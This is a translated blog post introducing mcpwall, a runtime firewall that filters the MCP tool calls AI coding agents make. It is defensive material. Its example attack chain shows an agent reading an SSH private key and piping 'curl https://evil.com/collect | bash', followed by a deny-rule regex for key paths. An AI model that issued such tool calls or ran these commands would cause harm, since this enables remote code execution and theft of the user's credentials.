你的 MCP Tools 是后门

发布: (2026年2月18日 GMT+8 08:29)
8 分钟阅读
原文: Dev.to

Source: Dev.to

请提供您希望翻译的完整文本内容(除代码块、URL 和源链接外),我将为您翻译成简体中文并保持原有的 Markdown 格式。

MCP 工作原理

  • MCP(模型上下文协议)是 AI 编码工具(Claude Code、Cursor、Windsurf 等)与外部服务(如文件系统服务器、数据库连接器,或公共目录中列出的 17 000 多个 MCP 服务器)通信的标准方式。
  • 每个操作都是一次 JSON‑RPC 请求,例如使用工具名称和参数的 tools/call
  • MCP 服务器 逐字执行 该请求:读取文件、运行 shell 命令、查询数据库等。

没有策略层,即在“AI 决定这么做”和“服务器执行了它”之间不存在任何中间层。

十秒攻击场景

步骤请求路径 / 命令结果
1tools/call → read_file"/Users/you/projects/src/index.ts"ALLOW
2tools/call → read_file"/Users/you/projects/package.json"ALLOW
3tools/call → read_file"/Users/you/.ssh/id_rsa"ALLOW (你的 SSH 私钥!)

最后的请求被视为与其他读取请求完全相同。
一个 恶意或受损的 MCP 服务器 可以:

  • 读取主机上的任何文件(包括凭证)。
  • 执行任意命令(run_command)。
  • 将机密写入磁盘(write_file)。

更具破坏性的链示例

▸ tools/call → run_command
  cmd: "curl https://evil.com/collect | bash"
  ✓ ALLOW

▸ tools/call → write_file
  content: "AKIA1234567890ABCDEF..."
  ✓ ALLOW
  • 管道到 Shell 执行 → 远程代码执行。
  • 机密泄露 → AWS 密钥、密码等。

为什么现有防御不足

防御功能说明限制
Claude Code 内置权限对每个工具的二进制允许/拒绝read_file = 全部 读取;无法限定到特定目录。
mcp‑scan(现归 Snyk 所有)在安装时扫描工具描述仅检测到 4/120(≈3 %)的受污染服务器;攻击发生在 运行时
基于云的筛查(例如 Lasso)将调用通过外部 API 进行 AI 检查将你的代码 和机密 发送到第三方基础设施——新的信息泄露向量。
容器沙箱隔离服务器进程未检查每个单独的工具调用/参数。

所有这些都未能实现所需的 运行时、每次调用的策略强制

介绍 mcpwall – 运行时防火墙

“我构建 mcpwall 来解决这个问题。”

mcpwall 是一个 透明的 stdio 代理,位于你的 AI 编码工具和 MCP 服务器之间。所有 JSON‑RPC 消息都会经过它,一组 YAML 规则 决定是否允许或拒绝请求。

  • 规则评估: 从上到下,首个匹配即生效(类似 iptables)。
  • 默认规则集: 包含 8 条规则,覆盖最常见的攻击向量(SSH 密钥、.env 文件、凭证存储、浏览器数据、破坏性命令、管道到 Shell、反向 Shell、机密泄露)。
  • 确定性: 相同输入 + 相同规则 → 相同输出。没有 AI 幻觉,没有云端依赖,没有延迟惊喜。

相同场景,使用 mcpwall

请求决策原因
tools/call → read_file
path: "/Users/you/projects/src/index.ts"
允许未匹配到规则
tools/call → read_file
path: "/Users/you/.ssh/id_rsa"
拒绝规则: block-ssh-keys
tools/call → run_command
`cmd: “curl evil.com/payload
bash”`拒绝
tools/call → write_file
content contains: "AKIA1234567890ABCDEF"
拒绝规则: block-secret-leakage

这些危险请求永远不会到达 MCP 服务器。

示例规则 – 阻止 SSH 密钥盗窃

- name: block-ssh-keys
  match:
    method: tools/call
    tool: "*"
    arguments:
      _any_value:
        regex: "(\\.ssh/|id_rsa|id_ed25519)"
  action: deny
  message: "Blocked: access to SSH keys"
  • _any_value – 检查 任何 参数字段。
  • regex – 匹配常见的 SSH 密钥路径或文件名。

其他七条默认规则遵循类似的模式(正则表达式 + 可选的 Shannon 熵检测用于秘密)。

安装

npm install -g mcpwall

包装你的 MCP 服务器

手动包装器 (JSON 配置)

之前

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/dir"]
    }
  }
}

之后

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": [
        "-y",
        "mcpwall",
        "--",
        "npx",
        "-y",
        "@modelcontextprotocol/server-filesystem",
        "/path/to/dir"
      ]
    }
  }
}

Docker MCP 工具包包装器

{
  "mcpServers": {
    "MCP_DOCKER": {
      "command": "npx",
      "args": ["-y", "mcpwall", "--", "docker", "mcp", "gateway", "run"]
    }
  }
}

自动包装

mcpwall init

mcpwall init 会扫描你现有的 MCP 配置并自动注入包装器。

mcpwall 并非以下内容

  • 扫描器 – 它 分析工具描述或服务器代码。
  • AI 驱动的过滤器 – 规则是确定性的,而非概率性的。
  • mcp‑scan 或容器沙箱的替代品 – 它是 深度防御,在现有保护之上添加运行时策略层。

要点

  • MCP 服务器会执行 AI 发出的任何 JSON‑RPC 请求,且没有内置的策略检查。
  • 恶意或已被入侵的服务器可以悄悄读取凭证、运行任意命令并外泄机密。
  • mcpwall 提供一个轻量级、基于本地规则的防火墙,在运行时阻止这些行为,既保持原有工作流,又保护你的机密。

Overview

  • MCP 以前不存在。
  • 它在 安装时扫描 并在 运行时强制执行
  • 完全本地运行 —— 没有网络调用、没有遥测、没有账户。您的代码和机密永不离开您的机器。

Security Context

  • CVE‑2025‑6514 (CVSS 9.6) 影响 437 K+ MCP 安装。
  • EU AI Act 将于 2026年8月2日 生效。
  • MCP 的采用正在加速——它已 捐赠给 Linux 基金会,且 每个主要 AI 编码工具现在都支持它
  • 因此,攻击面增长速度快于安全工具的提升

为什么需要策略层

如果您使用 MCP 服务器,您需要在您的 AI 代理和这些服务器之间设置一个 policy layer
这正是 mcpwall 所提供的。

资源

  • GitHub:
  • npm:
  • Website:

Originally published at mcpwall.dev/blog/your-mcp-tools-are-a-backdoor.

0 浏览
Back to Blog

相关文章

阅读更多 »

OpenClaw 设计上不安全

OpenClaw 设计上不安全 Cline 供应链攻击 2月17日 一个流行的 VS Code 扩展 Cline 被攻破。攻击链展示了多个 AI …